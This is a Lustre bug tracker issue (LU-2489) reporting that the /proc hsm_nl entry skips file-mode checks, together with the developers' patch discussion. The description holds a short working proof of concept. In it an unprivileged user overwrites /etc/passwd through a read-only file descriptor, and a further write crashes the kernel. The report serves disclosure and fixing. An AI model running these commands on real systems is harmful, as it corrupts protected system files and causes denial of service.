[LU-2489] hsm_nl DOSs Created: 13/Dec/12 Updated: 15/Oct/13 Resolved: 08/Jan/13 |
|
| Status: | Closed |
| Project: | Lustre |
| Component/s: | None |
| Affects Version/s: | Lustre 2.4.0, Lustre 2.1.4 |
| Fix Version/s: | Lustre 2.4.0, Lustre 2.5.0 |
| Type: | Bug | Priority: | Minor |
| Reporter: | John Hammond | Assignee: | Keith Mannthey (Inactive) |
| Resolution: | Fixed | Votes: | 0 |
| Labels: | patch | ||
| Severity: | 3 |
| Rank (Obsolete): | 5843 |
| Description |
|
Can /proc/fs/lustre/mdc/lustre-MDT0000-mdc-ffff88018f0a9000/hsm_nl be removed? grep and google would suggest so. cfs_user_write() should call vfs_user_write() instead of invoking filp->f_op.write() which does not check f_mode. # ./lutsre/tests/llmount.sh ... # su sanity - $ echo LULZ > /etc/passwd bash: /etc/passwd: Permission denied $ exec 3</etc/passwd $ echo 3 > /proc/fs/lustre/mdc/lustre-MDT0000-mdc-ffff88018f0a9000/hsm_nl $ exec 3>&- $ head /etc/passwd d�lustre-MDT0000-mdcffff880008 n/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin The list heads in kkuc_groups (whatever those are) may be uninitialized. $ echo 0 > /proc/fs/lustre/mdc/lustre-MDT0000-mdc-ffff88018f0a9000/hsm_nl BUG: unable to handle kernel NULL pointer dereference at 0000000000000018 IP: [<ffffffffa02eee68>] libcfs_kkuc_group_put+0x68/0x150 [libcfs] PGD 188d1a067 PUD 191b12067 PMD 0 Oops: 0000 [#1] SMP ... Greetz: taviso, cea, apop, all the droneZ back at Unimatrix 0. |
| Comments |
| Comment by John Hammond [ 13/Dec/12 ] |
|
Please see http://review.whamcloud.com/4824 and http://review.whamcloud.com/4825. |
| Comment by Richard Henwood (Inactive) [ 18/Dec/12 ] |
|
John: any reason not to have these two entries as either a single patch or dependent patches? |
| Comment by John Hammond [ 18/Dec/12 ] |
|
There are no dependencies between the two. There is also no reason that they cannot be merged. |
| Comment by Keith Mannthey (Inactive) [ 04/Jan/13 ] |
|
I don't see any issue with having these as two separate changes. |
| Comment by Peter Jones [ 08/Jan/13 ] |
|
Landed for 2.4 |
| Comment by Peng Tao [ 04/Jun/13 ] |
|
Hi, what happens to the bug? It seems the two landed patches didn't try to fix it. The list heads in kkuc_groups (whatever those are) may be uninitialized. $ echo 0 > /proc/fs/lustre/mdc/lustre-MDT0000-mdc-ffff88018f0a9000/hsm_nl BUG: unable to handle kernel NULL pointer dereference at 0000000000000018 IP: [<ffffffffa02eee68>] libcfs_kkuc_group_put+0x68/0x150 [libcfs] PGD 188d1a067 PUD 191b12067 PMD 0 Oops: 0000 [#1] SMP ... |
| Comment by John Hammond [ 14/Jun/13 ] |
|
Please see http://review.whamcloud.com/6656 for a patch to remove hsm_nl completely. |
| Comment by John Hammond [ 10/Jul/13 ] |
|
The patch to remove hsm_nl completely has landed to master. |